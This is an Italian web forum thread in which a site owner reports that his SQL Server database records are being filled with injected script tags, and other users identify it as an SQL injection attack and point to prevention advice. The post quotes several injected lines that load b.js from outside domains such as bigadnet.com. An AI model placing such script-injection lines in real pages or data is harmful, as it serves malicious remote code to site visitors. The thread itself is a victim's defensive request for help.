Visualizzazione dei risultati da 1 a 5 su 5
  1. #1

    [sql server] record modificati non da me

    Da poco ho trasferito un mio sito su un server dedicato sul quale ho installato sql 2005 express.

    Ultimamente accadono strane cose e cioè i campi del database vengono riempiti con delle strane stringhe del tipo:

    <script src=http://www.bigadnet.com/b.js></script>
    <script src=http://www.bigadnet.com/b.js></script>
    <script src=http://www.bigadnet.com/b.js></script>
    <script src=http://www.adsitelo.com/b.js></script>
    <script src=http://www.domaincld.com/b.js></script>
    <script src=http://www.domaincld.com/b.js></script>
    <script src=http://www.jetdbs.com/b.js></script>
    <script src=http://www.updatead.com/b.js></script>
    <script src=http://www.clickbnr.com/b.js></script>

    praticamente mi ritrovo tutti i record modificati con le stringhe su citate e non ho la più pallida idea di quale sia il motivo. Il database assume dimensioni enormi ed sql scatta a 7-800 mb in memoria ed il tutto va a quel paese

    se cercate la stringa "bigadnet" in google troverete altri siti nella stessa situazione.

    sembra una specie di attacco a qualche bug

    Qualcuno di voi ha idea di cosa possa essere ?

    Grazie

  2. #2
    Utente di HTML.it L'avatar di bum
    Registrato dal
    Jun 2008
    Messaggi
    234
    Chiaro attacco di sql injection, nel tuo sito hai per caso attivi i commenti o posti dove chi visita il sito può inserire del testo?

  3. #3
    E' un sito in asp dove si pubblicano annunci e si caricano foto.

    La cosa assurda è che i campi vuoti vengono riempiti e quelli che già contengono dati, vengono colmati lasciando il dato al suo posto affiancato da quelle scritte.

    Hai una soluzione ?


  4. #4
    Utente di HTML.it L'avatar di bum
    Registrato dal
    Jun 2008
    Messaggi
    234
    dovresti prima beccare il queristryng che hanno usato per far il danno (dovrebbe essere una cosa in esadecimale che inizia con DECLARE%)
    e vedere se combacia con quello nel seguente post:
    http://www.contrariamente.info/2008/...uciarvi-tutti/

    la cui soluzione comunque è da modificare nel caso tu sia stato vittima del medesimo attacco, perchè bisogna aggiungere dei pezzi

    una volta riparato il danno passa a fare le modofiche per evitare fututi sql inlection

    http://php.html.it/articoli/leggi/89...l-injection/1/

    http://antirez.com/post/33

    usando le corrispondenti funzioni in Asp che qui sono descritte per il php

  5. #5
    Ok, grazie mille per la spiegazione, sto inserendo dei controlli sulla querystring sostituendo certi caratteri particolari... speriamo serva

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.